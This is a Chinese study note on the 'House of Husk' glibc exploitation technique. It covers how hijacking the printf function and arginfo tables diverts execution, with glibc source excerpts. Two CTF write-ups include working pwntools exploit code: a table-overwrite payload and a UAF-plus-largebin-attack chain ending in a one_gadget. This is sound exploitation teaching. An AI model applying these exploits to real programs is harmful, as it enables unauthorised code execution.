house of huck 心得体会
字数 1961 2025-08-25 22:58:47
House of Husk 漏洞分析与利用
一、概述
House of Husk 是一种针对 glibc 中 printf 系列函数的利用技术,适用于 glibc 2.23 至今的版本。该技术通过劫持 printf 相关的函数指针表,实现在特定条件下劫持程序执行流。
二、漏洞原理
1. printf 函数工作机制
printf 函数通过检查 __printf_function_table 是否为空来判断是否有自定义的格式化字符。如果是 printf 类格式字符串函数,则会根据格式字符串的种类去执行 __printf_arginfo_table[spec] 处的函数指针。
2. 关键数据结构
__printf_function_table: 存储自定义格式化函数的指针表__printf_arginfo_table: 存储参数信息函数的指针表spec: 格式化字符(ASCII 码值)
3. 漏洞触发路径
调用链:printf -> vfprintf -> printf_positional -> __parse_one_specmb
当 __printf_function_table 非空时,会调用 printf_positional 函数,进而触发 __parse_one_specmb 函数中对 __printf_arginfo_table[spec] 的调用。
三、利用条件
- 能够使
__printf_function_table处非空 - 能够向
__printf_arginfo_table处写入地址
四、利用方法
- 劫持
__printf_function_table使其非空 - 劫持
__printf_arginfo_table使其表中存放的spec对应位置是后门或构造的利用链 - 执行 printf 函数时触发函数指针调用
注意:当调用 printf("%S\n",a) 时,应该将 __printf_arginfo_table[73] 的位置(即 &__printf_arginfo_table + 0x73*8 处)写入目标地址。
五、源码分析
1. 注册函数
__register_printf_function 为格式化字符 spec 的格式化输出注册函数,__register_printf_specifier 是对这个函数的封装:
int __register_printf_function (int spec, printf_function converter,
printf_arginfo_function arginfo)
{
return __register_printf_specifier (spec, converter,
(printf_arginfo_size_function*) arginfo);
}
int __register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX) {
__set_errno (EINVAL);
return -1;
}
int result = 0;
__libc_lock_lock (lock);
if (__printf_function_table == NULL) {
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL) {
result = -1;
goto out;
}
__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock (lock);
return result;
}
2. vfprintf 函数关键检查
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
do_positional:
if (__glibc_unlikely (workstart != NULL)) {
free (workstart);
workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);
3. __parse_one_specmb 函数关键调用
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0) {
spec->ndata_args = 1;
...
}
六、例题分析
1. readme_revenge(栈题利用)
程序特点:
- 简单读写功能
- 静态编译,flag 在 data 段
- 可以覆盖关键数据结构
利用思路:
- 利用
stack_chk_fail()会打印__libc_argv[0]的特性 - 将
__libc_argv[0]修改为 flag 的地址 - 将
__printf_function_table置为非空 - 将
__printf_arginfo_table[spec]篡改为__stack_chk_fail()
利用代码:
stack_chk_fail = 0x4359B0
flag_addr = 0x6B4040
name_addr = 0x6B73E0
libc_argv = 0x6b7980
payload = p64(flag_addr)
payload = payload.ljust(libc_argv - name_addr, b'a')
payload += p64(name_addr) # libc_argv[0] -> name_addr -> flag
payload = payload.ljust(0x6b7a28 - name_addr, b'a')
payload += p64(0x1) # __printf_function_table != 0
payload += p64(0x0) # __printf_modifier_table = 0
payload = payload.ljust(0x6b7aa8 - name_addr, b'a')
payload += p64(printf_arginfo_table)
payload += p64(0xdeadbeef)*(0x73-1)
payload += p64(stack_chk_fail) # __printf_arginfo_table[73]
2. heap_level1(堆题利用)
程序特点:
- 限制大小 0x41f-0x550
- 最多修改 0xf 个堆块
- 存在 UAF 漏洞
利用步骤:
(1) 获取 libc 基地址
add(0x500,0,b'aaa')
add(0x500,1,b'bbb')
delete(0)
show(0)
libc_base = l64()-96-0x10-libc.sym['__malloc_hook']
(2) 获取堆地址
delete(1)
add(0x420,2,b'ccc')
add(0x420,3,b'ddd')
add(0x420,4,b'eee')
edit(0, b'\x00'*0x420+p64(0)+p64(0x41)) # 6c0
edit(1, b'\x00'*0x340+p64(0)+p64(0x41)) # af0
delete(3)
delete(4)
show(4)
heap_addr = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x6d0
(3) Largebin Attack 攻击 __printf_function_table
add(0x448,5, b'fff')
add(0x500,6, b'ggg')
add(0x458,7, b'hhh')
add(0x500,8, b'iii')
delete(7)
add(0x500,9,b'jjj') # chunk7 -> large
delete(5) # ub
printf_function_table = libc_base+0x1f1318
pl = p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_function_table-0x20)
edit(7, pl)
add(0x500,10,'kkk') # attack
(4) Largebin Attack 攻击 __printf_arginfo_table
add(0x448,11,'lll') # rl chunk5
delete(11) # ub
printf_arginfo_table = libc_base+0x1ed7b0
pl = p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_arginfo_table-0x20)
edit(7, pl)
add(0x500,12,'mmm') # attack
(5) 修改 spec 处为 onegadget
ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base + ogs[1]
pl = b'a'*((ord('X'))*8-0x10)+p64(og)
edit(11, pl)
sla('>> ','5') # 触发
七、调试技巧
- 在
vfprintf中检查__printf_function_table是否为 0 - 观察
printf_positional函数的调用 - 关注
__parse_one_specmb函数中对__printf_modifier_table的检查 - 跟踪
__printf_arginfo_table[spec]的调用过程
八、防御措施
- 及时更新 glibc 版本
- 启用 ASLR 和 DEP 保护
- 对用户输入进行严格过滤
- 避免使用危险的格式化字符串函数
九、参考资源
- house-of-husk学习笔记-安全客
- [关于house of husk的学习总结 | ZIKH26's Blog]
- glibc 源码分析
通过深入理解 House of Husk 技术,安全研究人员可以更好地防御此类攻击,同时也能在 CTF 比赛中有效利用这一技术解决相关题目。